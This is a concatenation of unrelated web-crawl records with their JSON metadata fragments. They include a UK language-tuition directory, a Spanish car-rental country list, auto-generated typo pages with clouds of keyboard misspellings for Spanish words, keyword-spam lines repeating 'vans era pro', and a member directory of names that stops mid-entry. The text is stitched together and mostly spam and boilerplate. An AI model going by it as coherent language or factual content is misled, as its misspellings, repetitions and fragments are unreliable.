Tuition in Cardiff\nLanguage Tuition in Central Scotland\nLanguage Tuition in Cheshire\nLanguage Tuition in Denbighshire\nLanguage Tuition in Derbyshire\nLanguage Tuition in Devon\nLanguage Tuition in Dorset\nLanguage Tuition in Dumfries and Galloway\nLanguage Tuition in East Dunbartonshire\nLanguage Tuition in East Sussex\nLanguage Tuition in Edinburgh\nLanguage Tuition in Essex\nLanguage Tuition in Glamorgan\nLanguage Tuition in Gloucestershire\nLanguage Tuition in Greater Manchester\nLanguage Tuition in Hampshire\nLanguage Tuition in Hertfordshire\nLanguage Tuition in Highland\nLanguage Tuition in Kent\nLanguage Tuition in Lanarkshire\nLanguage Tuition in Lancashire\nLanguage Tuition in Leicestershire\nLanguage Tuition in London\nLanguage Tuition in Merseyside\nLanguage Tuition in Middlesex\nLanguage Tuition in Midlothian\nLanguage Tuition in N.Ireland\nLanguage Tuition in Norfolk\nLanguage Tuition in North Yorkshire\nLanguage Tuition in Nottinghamshire\nLanguage Tuition in Somerset\nLanguage Tuition in South Yorkshire\nLanguage Tuition in Staffordshire\nLanguage Tuition in Strathclyde\nLanguage Tuition in Suffolk\nLanguage Tuition in Surrey\nLanguage Tuition in Swansea\nLanguage Tuition in UK\nLanguage Tuition in Warwickshire\nLanguage Tuition in West Midlands\nLanguage Tuition in West Sussex\nLanguage Tuition in West Yorkshire\nLanguage Tuition in Wiltshire\nTowns Search\nLanguage Tuition in 80 Morden Road\nLanguage Tuition in Abbey Wood\nLanguage Tuition in Barnsley\nLanguage Tuition in Belfast\nLanguage Tuition in Bexhill on Sea\nLanguage Tuition in Billericay\nLanguage Tuition in Birmingham\nLanguage Tuition in Bolton\nLanguage Tuition in Borehamwood\nLanguage Tuition in Bournemouth\nLanguage Tuition in Brighton\nLanguage Tuition in Bristol\nLanguage Tuition in Bury St Edmunds\nLanguage Tuition in Cambridge\nLanguage Tuition in Camden Town\nLanguage Tuition in CARDIFF\nLanguage Tuition in Caterham\nLanguage Tuition in Chelsea\nLanguage Tuition in chesterfield\nLanguage Tuition in Dartford\nLanguage Tuition in Devizes\nLanguage Tuition in Dollar\nLanguage Tuition in Dumfries\nLanguage Tuition in Ealing\nLanguage Tuition in East Grinstead\nLanguage Tuition in Edinburgh\nLanguage Tuition in Glasgow\nLanguage Tuition in Gravesend\nLanguage Tuition in Greenwich\nLanguage Tuition in Halifax\nLanguage Tuition in Harleston\nLanguage Tuition in Harrogate\nLanguage Tuition in Hastings\nLanguage Tuition in Hayling Island\nLanguage Tuition in Hove\nLanguage Tuition in Inverness\nLanguage Tuition in Kentish Town\nLanguage Tuition in Lechlade\nLanguage Tuition in Leeds\nLanguage Tuition in Leicester\nLanguage Tuition in Leigh\nLanguage Tuition in Lewisham\nLanguage Tuition in Leytonstone\nLanguage Tuition in Lichfield\nLanguage Tuition in Liverpool\nLanguage Tuition in London\nLanguage Tuition in Londonderry\nLanguage Tuition in Longfield\nLanguage Tuition in Luton\nLanguage Tuition in Maidstone\nLanguage Tuition in Manchester\nLanguage Tuition in Midhurst\nLanguage Tuition in North West London\nLanguage Tuition in Nottingham\nLanguage Tuition in Online\nLanguage Tuition in Oxford\nLanguage Tuition in Plymouth\nLanguage Tuition in Portsmouth\nLanguage Tuition in Purley\nLanguage Tuition in Putney\nLanguage Tuition in Reading\nLanguage Tuition in Rhyl\nLanguage Tuition in Richmond\nLanguage Tuition in Rugby\nLanguage Tuition in Sandbach\nLanguage Tuition in Sandhurst\nLanguage Tuition in Sevenoaks\nLanguage Tuition in Sheffield\nLanguage Tuition in Shepherds Bush\nLanguage Tuition in Solihull\nLanguage Tuition in South East London\nLanguage Tuition in Southport\nLanguage Tuition in Stoke-on-Trent\nLanguage Tuition in SUDBURY\nLanguage Tuition in Sunbury on Thames\nLanguage Tuition in Sunbury-on-Thames\nLanguage Tuition in Swansea\nLanguage Tuition in Tavistock\nLanguage Tuition in Torquay\nLanguage Tuition in Totnes\nLanguage Tuition in Uxbridge\nLanguage Tuition in Wandsworth\nLanguage Tuition in Welwyn Garden City\nLanguage Tuition in West Ealing\nLanguage Tuition in West Kensington\nLanguage Tuition in Weybridge\nLanguage Tuition in Whyteleafe\nLanguage Tuition in Wimbledon\nLanguage Tuition in Wincanton\nLanguage Tuition in Winchester\nLanguage Tuition in Witcombe\nLanguage Tuition in Wolverhampton\nFeatured Listings\nOlesen Tuition | The German Lessons Specialist in London and Online\nCamden Town, London\nLanguage Tuition Listings\nSee all Language Tuition Listed in The Cmob Directory -\nLanguage Tuition Listings\n.\nTo add your business to our Language Tuition Directory\nRegister Here\nCmob Business Directory\nContact\nAbout\nTerms\nPrivacy","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.cmob.co.uk\/category\/language+tuition\/","date":"2020-01-27T01:52:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694071.63\/warc\/CC-MAIN-20200126230255-20200127020255-00374.warc.gz","language":"ina","language_score":0.4109742641,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"ina_Latn_score\": 0.41097426414489746, \"sco_Latn_score\": 0.1497717797756195, \"eng_Latn_score\": 0.14597629010677338, \"mri_Latn_score\": 0.024802371859550476, \"kos_Latn_score\": 0.022986194118857384, \"hif_Latn_score\": 0.020286865532398224, \"bin_Latn_score\": 0.01831468753516674, \"ile_Latn_score\": 0.01642463356256485, \"cbk_Latn_score\": 0.015047811903059483, \"bam_Latn_score\": 0.012847663834691048}","num_words":1408,"character_repetition_ratio":0.442,"word_repetition_ratio":0.034,"special_characters_ratio":0.142,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.673,"perplexity_score":18093.4,"cluster_detection":-1} +{"text":"Inicio\nOficinas\nContactar\nZ. Clientes\nSite Map\nBoletín de Inscripción\nRentalcargroup.es\nBuscar, Comparar & Reservar coche de alquiler\n(914141480)\nDénos una llamada para hablar con nosotros\nInicio\nOficinas\nContactar\nZ. Clientes\nRentalcargroup.es\n>\nPaises de alquiler de vehiculos\nPaises de alquiler de vehiculos\nAfrica\nArgelia Alquiler de Vehiculos\nAngola Alquiler de Vehiculos\nBenin Alquiler de Vehiculos\nBotsuana Alquiler de Vehiculos\nIsla Bouvet Alquiler de Vehiculos\nBurkina Faso Alquiler de Vehiculos\nBurundi Alquiler de Vehiculos\nCamerun Alquiler de Vehiculos\nCabo Verde Alquiler de Vehiculos\nRepublica Centroafricana Alquiler de Vehiculos\nChad Alquiler de Vehiculos\nComores Alquiler de Vehiculos\nCongo Alquiler de Vehiculos\nYibuti Alquiler de Vehiculos\nEgipto Alquiler de Vehiculos\nGuinea Ecuatorial Alquiler de Vehiculos\nEritrea Alquiler de Vehiculos\nEtiopia Alquiler de Vehiculos\nGabon Alquiler de Vehiculos\nGambia Alquiler de Vehiculos\nGhana Alquiler de Vehiculos\nGuinea Alquiler de Vehiculos\nGuinea Bissau Alquiler de Vehiculos\nCosta De Marfil Alquiler de Vehiculos\nKenia Alquiler de Vehiculos\nLesoto Alquiler de Vehiculos\nLiberia Alquiler de Vehiculos\nLibyan Alquiler de Vehiculos\nMadagascar Alquiler de Vehiculos\nMalaui Alquiler de Vehiculos\nMali Alquiler de Vehiculos\nMauritania Alquiler de Vehiculos\nMauricio Alquiler de Vehiculos\nMayotte Alquiler de Vehiculos\nMarruecos Alquiler de Vehiculos\nMozambique Alquiler de Vehiculos\nNamibia Alquiler de Vehiculos\nNiger Alquiler de Vehiculos\nNigeria Alquiler de Vehiculos\nRuanda Alquiler de Vehiculos\nIsla Santa Elena Alquiler de Vehiculos\nSanto Tome Y Principe Alquiler de Vehiculos\nSenegal Alquiler de Vehiculos\nSeychelles Alquiler de Vehiculos\nSierra Leona Alquiler de Vehiculos\nSomalia Alquiler de Vehiculos\nSudafrica Alquiler de Vehiculos\nSudan Alquiler de Vehiculos\nSuazilandia Alquiler de Vehiculos\nTanzania Alquiler de Vehiculos\nTogo Alquiler de Vehiculos\nTunez Alquiler de Vehiculos\nUganda Alquiler de Vehiculos\nSahara Occidental Alquiler de Vehiculos\nZambia Alquiler de Vehiculos\nZimbabue Alquiler de Vehiculos\nAsia\nAfganistan Alquiler de Vehiculos\nBangladesh Alquiler de Vehiculos\nButan Alquiler de Vehiculos\nTerritorio Britanico Del Oceano Indico Alquiler de Vehiculos\nBrunei Darussalam Alquiler de Vehiculos\nCamboya Alquiler de Vehiculos\nChina Alquiler de Vehiculos\nHong Kong Alquiler de Vehiculos\nIndia Alquiler de Vehiculos\nIndonesia Alquiler de Vehiculos\nJapon Alquiler de Vehiculos\nKazakstan Alquiler de Vehiculos\nKorea Alquiler de Vehiculos\nKirguistan Alquiler de Vehiculos\nLao People's Democratic Republic Alquiler de Vehiculos\nMacao Alquiler de Vehiculos\nMalasia Alquiler de Vehiculos\nMaldivas Alquiler de Vehiculos\nMongolia Alquiler de Vehiculos\nBirmania Alquiler de Vehiculos\nNepal Alquiler de Vehiculos\nIslas Marianas Del Norte Alquiler de Vehiculos\nPakistan Alquiler de Vehiculos\nFilipinas Alquiler de Vehiculos\nArabia Saudita Alquiler de Vehiculos\nSingapur Alquiler de Vehiculos\nSri Lanka Alquiler de Vehiculos\nTaiwan Alquiler de Vehiculos\nTayikistan Alquiler de Vehiculos\nTailandia Alquiler de Vehiculos\nTimor Oriental Alquiler de Vehiculos\nTurkmenistan Alquiler de Vehiculos\nUzbekistan Alquiler de Vehiculos\nVietNam Alquiler de Vehiculos\nYemen Alquiler de Vehiculos\nCaribe\nAnguila Alquiler de Vehiculos\nAntigua Alquiler de Vehiculos\nAruba Alquiler de Vehiculos\nBahamas Alquiler de Vehiculos\nBarbados Alquiler de Vehiculos\nBonaire Alquiler de Vehiculos\nIslas Caiman Alquiler de Vehiculos\nCuba Alquiler de Vehiculos\nCurazao Alquiler de Vehiculos\nDominica Alquiler de Vehiculos\nRepublica Dominicana Alquiler de Vehiculos\nGran Caiman Alquiler de Vehiculos\nGranada Alquiler de Vehiculos\nGuadalupe Alquiler de Vehiculos\nHaiti Alquiler de Vehiculos\nJamaica Alquiler de Vehiculos\nMartinica Alquiler de Vehiculos\nMontserrat Alquiler de Vehiculos\nPaises Bajos Antilles Alquiler de Vehiculos\nPuerto Rico Alquiler de Vehiculos\nSanta Lucia Alquiler de Vehiculos\nSan Vicente Y Las Granadinas Alquiler de Vehiculos\nSt Barts Alquiler de Vehiculos\nSaint Croix Alquiler de Vehiculos\nSan Cristobal Y Nieves Alquiler de Vehiculos\nSint Maarten Alquiler de Vehiculos\nSaint Thomas Alquiler de Vehiculos\nTobago Alquiler de Vehiculos\nTrinidad Alquiler de Vehiculos\nIslas Turcos Y Caicos Alquiler de Vehiculos\nIslas Virgenes Britanicas Alquiler de Vehiculos\nIslas Virgenes Estadounidenses Alquiler de Vehiculos\nEuropa\nAlbania Alquiler de Vehiculos\nAndorra Alquiler de Vehiculos\nArmenia Alquiler de Vehiculos\nAustria Alquiler de Vehiculos\nAzerbaiyan Alquiler de Vehiculos\nBielorrusia Alquiler de Vehiculos\nBelgica Alquiler de Vehiculos\nBosnia Herzegovina Alquiler de Vehiculos\nBulgaria Alquiler de Vehiculos\nCroacia Alquiler de Vehiculos\nChipre Alquiler de Vehiculos\nRepublica Checa Alquiler de Vehiculos\nDinamarca Alquiler de Vehiculos\nEstonia Alquiler de Vehiculos\nIslas Feroe Alquiler de Vehiculos\nFinlandia Alquiler de Vehiculos\nFrancia Alquiler de Vehiculos\nGeorgia Alquiler de Vehiculos\nAlemania Alquiler de Vehiculos\nGibraltar Alquiler de Vehiculos\nGrecia Alquiler de Vehiculos\nCiudad Del Vaticano Alquiler de Vehiculos\nHungria Alquiler de Vehiculos\nIslandia Alquiler de Vehiculos\nIrlanda Alquiler de Vehiculos\nItalia Alquiler de Vehiculos\nKosovo Alquiler de Vehiculos\nLetonia Alquiler de Vehiculos\nLiechtenstein Alquiler de Vehiculos\nLituania Alquiler de Vehiculos\nLuxemburgo Alquiler de Vehiculos\nMacedonia Alquiler de Vehiculos\nMalta Alquiler de Vehiculos\nMoldavia Alquiler de Vehiculos\nMonaco Alquiler de Vehiculos\nMontenegro Alquiler de Vehiculos\nPaises Bajos Alquiler de Vehiculos\nNoruega Alquiler de Vehiculos\nPolonia Alquiler de Vehiculos\nPortugal Alquiler de Vehiculos\nRumania Alquiler de Vehiculos\nRusia Alquiler de Vehiculos\nSan Marino Alquiler de Vehiculos\nSerbia Alquiler de Vehiculos\nEslovaquia Alquiler de Vehiculos\nEslovenia Alquiler de Vehiculos\nEspana Alquiler de Vehiculos\nSvalbard Y Jan Mayen Alquiler de Vehiculos\nSuecia Alquiler de Vehiculos\nSuiza Alquiler de Vehiculos\nTurquia Alquiler de Vehiculos\nUcrania Alquiler de Vehiculos\nReino Unido Alquiler de Vehiculos\nMedio oriente\nBahrein Alquiler de Vehiculos\nIran Alquiler de Vehiculos\nIraq Alquiler de Vehiculos\nIsrael Alquiler de Vehiculos\nJordania Alquiler de Vehiculos\nKuwait Alquiler de Vehiculos\nLibano Alquiler de Vehiculos\nOman Alquiler de Vehiculos\nTerritorios Palestinos Ocupados Alquiler de Vehiculos\nQatar Alquiler de Vehiculos\nSiria Alquiler de Vehiculos\nEmiratos Arabes Unidos Alquiler de Vehiculos\nAmerica del Norte\nBermuda Alquiler de Vehiculos\nCanada Alquiler de Vehiculos\nGroenlandia Alquiler de Vehiculos\nSan Pedro Y Miquelon Alquiler de Vehiculos\nEstados Unidos Alquiler de Vehiculos\nOceania\nSamoa Americana Alquiler de Vehiculos\nAustralia Alquiler de Vehiculos\nIsla De Navidad Alquiler de Vehiculos\nIslas Cocos (Keeling) Alquiler de Vehiculos\nIslas Cook Alquiler de Vehiculos\nFiyi Alquiler de Vehiculos\nPolinesia Francesa Alquiler de Vehiculos\nGuam Alquiler de Vehiculos\nIslas Marshall Alquiler de Vehiculos\nEstados Federados De Micronesia Alquiler de Vehiculos\nNauru Alquiler de Vehiculos\nNueva Caledonia Alquiler de Vehiculos\nNueva Zelanda Alquiler de Vehiculos\nNiue Alquiler de Vehiculos\nIsla Norfolk Alquiler de Vehiculos\nPalaos Alquiler de Vehiculos\nPapua Nueva Guinea Alquiler de Vehiculos\nIslas Pitcairn Alquiler de Vehiculos\nIsla Reunion Alquiler de Vehiculos\nSamoa Alquiler de Vehiculos\nIslas Salomon Alquiler de Vehiculos\nTokelau Alquiler de Vehiculos\nTonga Alquiler de Vehiculos\nTuvalu Alquiler de Vehiculos\nEstados Unidos Minor Outlying Islands Alquiler de Vehiculos\nVanuatu Alquiler de Vehiculos\nWallis Y Futuna Alquiler de Vehiculos\nSud America\nArgentina Alquiler de Vehiculos\nBelice Alquiler de Vehiculos\nBolivia Alquiler de Vehiculos\nBrasil Alquiler de Vehiculos\nChile Alquiler de Vehiculos\nColombia Alquiler de Vehiculos\nCosta Rica Alquiler de Vehiculos\nEcuador Alquiler de Vehiculos\nEl Salvador Alquiler de Vehiculos\nIslas Malvinas Alquiler de Vehiculos\nGuyana Francesa Alquiler de Vehiculos\nGuatemala Alquiler de Vehiculos\nGuyana Alquiler de Vehiculos\nHonduras Alquiler de Vehiculos\nMexico Alquiler de Vehiculos\nNicaragua Alquiler de Vehiculos\nPanama Alquiler de Vehiculos\nParaguay Alquiler de Vehiculos\nPeru Alquiler de Vehiculos\nSurinam Alquiler de Vehiculos\nUruguay Alquiler de Vehiculos\nVenezuela Alquiler de Vehiculos\n(914141480)\nDénos una llamada para hablar con nosotros\nSite Map\nBoletín de Inscripción\nNoticias trimestral, la estrategia y visión\nRentalcargroup.es\n©Copyright 1995 - 2016 RentalCarGroup\nRentalcargroup.es es un nombre comercial de Rentalcargroup FZE , po box 7751 , Sharjah , Emiratos Árabes Unidos Registered Company No. 02-01-03119","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.rentalcargroup.es\/locations.htm","date":"2016-06-28T09:33:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396872.10\/warc\/CC-MAIN-20160624154956-00001-ip-10-164-35-72.ec2.internal.warc.gz","language":"ina","language_score":0.5972752571,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"ina_Latn_score\": 0.5972752571105957, \"hil_Latn_score\": 0.08059228956699371, \"por_Latn_score\": 0.06449343264102936, \"spa_Latn_score\": 0.04294617846608162, \"kiu_Latn_score\": 0.03719202056527138, \"dag_Latn_score\": 0.023035449907183647}","num_words":2183,"character_repetition_ratio":0.48,"word_repetition_ratio":0.008,"special_characters_ratio":0.143,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.592,"perplexity_score":6788.4,"cluster_detection":-1} +{"text":"Alcornoqud\n'Alcornoqud' se parece a 'alcornoque', ¿Con alcornoqud querías decir alcornoque?\nAlcornoqud tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornoqud|\n|Yahoo:||alcornoqud|\n|MSN:||alcornoqud|\n|Wikipedia:||alcornoqud|\nResultados de imágenes:\n|Google:||alcornoqud|\n|Yahoo:||alcornoqud|\n|MSN:||alcornoqud|\nYoutube: alcornoqud\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.tuspalabras.com\/alcornoqud","date":"2016-10-24T18:28:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719677.59\/warc\/CC-MAIN-20161020183839-00086-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.3419490159,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3419490158557892, \"nah_Latn_score\": 0.1610267013311386, \"ast_Latn_score\": 0.0938100814819336, \"spa_Latn_score\": 0.058862291276454926, \"sco_Latn_score\": 0.051631662994623184, \"por_Latn_score\": 0.030284659937024117, \"cot_Latn_score\": 0.02849840745329857, \"glg_Latn_score\": 0.028274094685912132, \"kal_Latn_score\": 0.024550937116146088, \"zul_Latn_score\": 0.01388649083673954, \"chd_Latn_score\": 0.01150782685726881}","num_words":313,"character_repetition_ratio":0.151,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.335,"perplexity_score":10867.4,"cluster_detection":-1} +{"text":"Alcorn9que\n'Alcorn9que' se parece a 'alcornoque', ¿Con alcorn9que querías decir alcornoque?\nAlcorn9que tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcorn9que|\n|Yahoo:||alcorn9que|\n|MSN:||alcorn9que|\n|Wikipedia:||alcorn9que|\nResultados de imágenes:\n|Google:||alcorn9que|\n|Yahoo:||alcorn9que|\n|MSN:||alcorn9que|\nYoutube: alcorn9que\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.tuspalabras.com\/alcorn9que","date":"2017-01-23T08:41:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560282202.61\/warc\/CC-MAIN-20170116095122-00351-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3206461966,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.320646196603775, \"nah_Latn_score\": 0.19291116297245026, \"ast_Latn_score\": 0.11557815223932266, \"spa_Latn_score\": 0.05869494006037712, \"sco_Latn_score\": 0.05204836279153824, \"cot_Latn_score\": 0.048256225883960724, \"por_Latn_score\": 0.033865585923194885, \"glg_Latn_score\": 0.023629704490303993, \"chd_Latn_score\": 0.010108954273164272}","num_words":301,"character_repetition_ratio":0.15,"word_repetition_ratio":0.062,"special_characters_ratio":0.172,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":0.309,"perplexity_score":11165.5,"cluster_detection":-1} +{"text":"Alblroque\nAlblroque tiene 9 letras\nDefinición de alboroque aquí\nResultados de búsqueda:\n|Google:||alblroque|\n|Yahoo:||alblroque|\n|MSN:||alblroque|\n|Wikipedia:||alblroque|\nResultados de imágenes:\n|Google:||alblroque|\n|Yahoo:||alblroque|\n|MSN:||alblroque|\nYoutube: alblroque\nNube de palabras :\n- alboroque zlboroque slboroque wlboroque qlboroque akboroque apboroque aoboroque alvoroque alnoroque alhoroque algoroque albiroque albkroque alblroque albproque alb0roque alb9roque alboeoque albodoque albofoque albotoque albo5oque albo4oque alborique alborkque alborlque alborpque albor0que albor9que alboro1ue alboro2ue alborowue alboroaue alboroqye alboroqhe alboroqje alboroqie alboroq8e alboroq7e alboroquw alboroqus alboroqud alboroqur alboroqu4 alboroqu3","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.tuspalabras.com\/alblroque","date":"2017-01-24T11:28:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560284405.58\/warc\/CC-MAIN-20170116095124-00285-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3017441928,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3017441928386688, \"kal_Latn_score\": 0.21375806629657745, \"ast_Latn_score\": 0.09592822194099426, \"sco_Latn_score\": 0.0635988637804985, \"eus_Latn_score\": 0.03715178743004799, \"frp_Latn_score\": 0.03233422711491585, \"glg_Latn_score\": 0.0247407965362072, \"run_Latn_score\": 0.020929807797074318, \"not_Latn_score\": 0.020242903381586075, \"por_Latn_score\": 0.019817005842924118, \"spa_Latn_score\": 0.016012782230973244, \"ben_Latn_score\": 0.01569671928882599, \"szl_Latn_score\": 0.01541825570166111, \"crh_Latn_score\": 0.014574973843991756}","num_words":239,"character_repetition_ratio":0.105,"word_repetition_ratio":0.078,"special_characters_ratio":0.169,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.321,"perplexity_score":15781.7,"cluster_detection":-1} +{"text":"Qlmatroque\n'Qlmatroque' se parece a 'almatroque', ¿Con qlmatroque querías decir almatroque?\nQlmatroque tiene 10 letras\nDefinición de almatroque aquí\nResultados de búsqueda:\n|Google:||qlmatroque|\n|Yahoo:||qlmatroque|\n|MSN:||qlmatroque|\n|Wikipedia:||qlmatroque|\nResultados de imágenes:\n|Google:||qlmatroque|\n|Yahoo:||qlmatroque|\n|MSN:||qlmatroque|\nYoutube: qlmatroque\nNube de palabras :\n- almatroque zlmatroque slmatroque wlmatroque qlmatroque akmatroque apmatroque aomatroque alnatroque alkatroque aljatroque almztroque almstroque almwtroque almqtroque almarroque almafroque almagroque almayroque alma6roque alma5roque almateoque almatdoque almatfoque almattoque almat5oque almat4oque almatrique almatrkque almatrlque almatrpque almatr0que almatr9que almatro1ue almatro2ue almatrowue almatroaue almatroqye almatroqhe almatroqje almatroqie almatroq8e almatroq7e almatroquw almatroqus almatroqud almatroqur almatroqu4 almatroqu3","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.tuspalabras.com\/qlmatroque","date":"2017-01-24T17:37:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560285001.96\/warc\/CC-MAIN-20170116095125-00551-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3361749649,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.33617496490478516, \"kal_Latn_score\": 0.19332560896873474, \"spa_Latn_score\": 0.06816962361335754, \"ast_Latn_score\": 0.06094895675778389, \"frp_Latn_score\": 0.051539912819862366, \"glg_Latn_score\": 0.02278348244726658, \"crh_Latn_score\": 0.02158382348716259, \"arg_Latn_score\": 0.021208373829722404, \"cot_Latn_score\": 0.01707596145570278, \"enl_Latn_score\": 0.017051314935088158, \"chd_Latn_score\": 0.01645367592573166, \"toj_Latn_score\": 0.012347161769866943, \"gug_Latn_score\": 0.011330376379191875}","num_words":303,"character_repetition_ratio":0.152,"word_repetition_ratio":0.082,"special_characters_ratio":0.16,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.344,"perplexity_score":15189.8,"cluster_detection":-1} +{"text":"vans era pro vans era pro\nvans era pro vans era pro sneaker hypebeast\nvans era pro era pro shop at vans\nvans era pro vans era pro black white forty two skateboard shop\nvans era pro era pro shop skate shoes at vans\nvans era pro vans era pro shoes\nvans era pro vans era pro black white\nvans era pro vans era pro blackout s skate shoes\nvans era pro vans era pro shoes\nvans era pro vans era pro blackout forty two skateboard shop\nvans era pro vans era pro\nvans era pro vans era pro skate shoes black white gum free shipping\nvans era pro vans era pro navy oxforddynamics co uk\nvans era pro vans era pro viciouscircle se\nvans era pro skatedeluxe product test vans era pro skatedeluxe\nvans era pro vans era pro dollin black polka dot forty two skateboard\nvans era pro vans era pro shoes evo\nvans era pro how does the vans era pro act as a skateshoe\nvans era pro vans era pro black white gum s skate shoes\nvans era pro era pro shoes black white in stock at the boardr\nvans era pro vans shoes vans era pro shoes black port\nvans era pro era pro black white\nvans era pro vans era pro shoes black port empire bmx\nvans era pro vans era pro skate shoes blackout free shipping\nvans era pro vans era pro skate shoe s\nvans era pro vans era pro black white\nvans era pro vans era pro schoenen blauw beige\nvans era pro vans era pro black gum s skate shoes ebay","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/royalkitchencabinet.com\/vans-era-pro.html","date":"2018-07-18T06:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590069.15\/warc\/CC-MAIN-20180718060927-20180718080927-00144.warc.gz","language":"ina","language_score":0.8569403291,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8569403290748596, \"mny_Latn_score\": 0.02312931790947914, \"ltg_Latn_score\": 0.021816296502947807, \"por_Latn_score\": 0.015574091114103794, \"ita_Latn_score\": 0.014954812824726105, \"roh_Latn_score\": 0.010465731844305992}","num_words":427,"character_repetition_ratio":0.382,"word_repetition_ratio":0.218,"special_characters_ratio":0.201,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.857,"perplexity_score":3681.8,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas Le Jeune||thomas le saec|\n|Thomas Le Jeune||Thomas Le Saint|\n|Thomas le Juge||Thomas Le Saux|\n|Thomas Le Labourier||Thomas Le Scouarnec|\n|Thomas Le Lann||Thomas Le Strat|\n|Thomas Le Lay||Thomas Le Sueur|\n|Thomas Le Lay||Thomas LE TELLIER|\n|Thomas le Lay||Thomas LE TENO|\n|Thomas Le Lay||Thomas LE THIEC|\n|Thomas Le Levier||Thomas Le Vaou|\n|Thomas Le Lirzin||Thomas Le Vaou|\n|Thomas le Loire||Thomas Le Varlet|\n|Thomas Le loire||Thomas Lea|\n|Thomas Le Marrec||Thomas Lea-Humphreys|\n|Thomas Le Masson||thomas leach|\n|Thomas Le Mauff||thomas leach|\n|Thomas Le Mens||Thomas Leach|\n|Thomas Le Mer||Thomas Leach|\n|thomas Le Merrer||Thomas Leach|\n|Thomas Le Mest||Thomas Leach|\n|Thomas Le Mestre||Thomas Leach|\n|Thomas Le Meur||Thomas Leach|\n|Thomas Le Mignan||thomas Leacy|\n|Thomas LE MIGNAN||Thomas Leadbeater|\n|Thomas Le Moel||Thomas Leaf|\n|Thomas Le Molaire||Thomas Leask|\n|Thomas Le Monier||Thomas Leathers|\n|Thomas Le Montagner||Thomas Léau|\n|Thomas LE MOULLEC||Thomas Léauté|\n|THOMAS LE NAGARD||Thomas Léauté|\n|Thomas Le Naour||Thomas Leaver|\n|Thomas LE NECHET||Thomas Leavitt|\n|thomas le neillon||Thomas Lebarbé|\n|Thomas Le Page||Thomas LeBaron|\n|Thomas Le Paige||Thomas Lebarre|\n|Thomas Le Palaire||Thomas Lebbe|\n|Thomas Le Panda||Thomas LEBE|\n|Thomas Le Petit-Corps||Thomas Lebeau|\n|Thomas LE PIMPEC||Thomas Lebeau|\n|thomas le poetvin||Thomas Lebel|\n|Thomas Le Quellec||Thomas Leber|\n|Thomas Le Quérec||Thomas Leber|\n|Thomas Le Quinquis||thomas Lebescond|\n|Thomas Le Roi||Thomas Lebihan|\n|Thomas Le Roi||Thomas Leblan|\n|Thomas Le Roi||Thomas Leblan|\n|Thomas LE ROUX||thomas Leblan|\n|Thomas Le Roux||Thomas Leblanc|\n|Thomas LE ROUX||Thomas Leblanc|\n|Thomas Le Rouzic||Thomas 